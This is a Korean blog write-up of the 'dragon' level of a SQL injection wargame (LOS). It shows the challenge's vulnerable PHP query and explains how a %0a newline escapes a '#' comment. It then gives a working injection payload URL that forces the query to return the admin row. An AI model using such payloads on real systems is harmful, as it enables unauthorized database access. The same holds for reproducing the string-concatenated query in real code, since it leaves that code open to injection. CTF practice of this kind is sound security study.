본문 바로가기

Wargame, CTF/LOS_eagle

LOS _Dragon

main 화면

<?php 
  include "./config.php"; 
  login_chk(); 
  dbconnect(); 
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~"); 
  $query = "select id from prob_dragon where id='guest'# and pw='{$_GET[pw]}'";
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysql_fetch_array(mysql_query($query)); 
  if($result['id']) echo "<h2>Hello {$result[id]}</h2>"; 
  if($result['id'] == 'admin') solve("dragon");
  highlight_file(__FILE__); 
?>

소스코드

 

딱히 문제 풀이에 방해될만한 필터링은 존재하지 않음

하지만 쿼리문, id='guest'의 뒤가 #으로 한줄 주석으로 처리되어 있음

 

한줄 주석이란게 중요한데

%0a는 줄바꿈으로 개행문자임

그래서 한줄 주석인 #을 우회 가능

query -> select id from prob_dragon where id='guest'# and pw=''

'

and pw=''는 주석처리되었고

마지막 싱글쿼터 때문에 에러가나 Hello guest가 출력되지 않은 모습

 

이걸 이용해서 이제 admin이 출력되게 만들면 됨

 

 

los.eagle-jump.org/dragon_7ead3fe768221c5d34bc42d518130972.php?pw=%27%0aand%201=2%20or%20id=%27admin

 

query -> select id from prob_dragon where id='guest'# and pw='' 

and 1=2 or id='admin'

 

개행문자로 #을 우회하고

and 1=2로 id='guest'를 거짓으로 만든다음

id='admin'이 나오게 함

 

Dragon Clear

'Wargame, CTF > LOS_eagle' 카테고리의 다른 글

LOS _Dark_eyes  (0) 2020.03.16
LOS _Iron_golem  (0) 2020.03.16
LOS _Xavis  (0) 2020.03.16
LOS _nightmare  (0) 2019.12.02
LOS _succubus  (0) 2019.11.21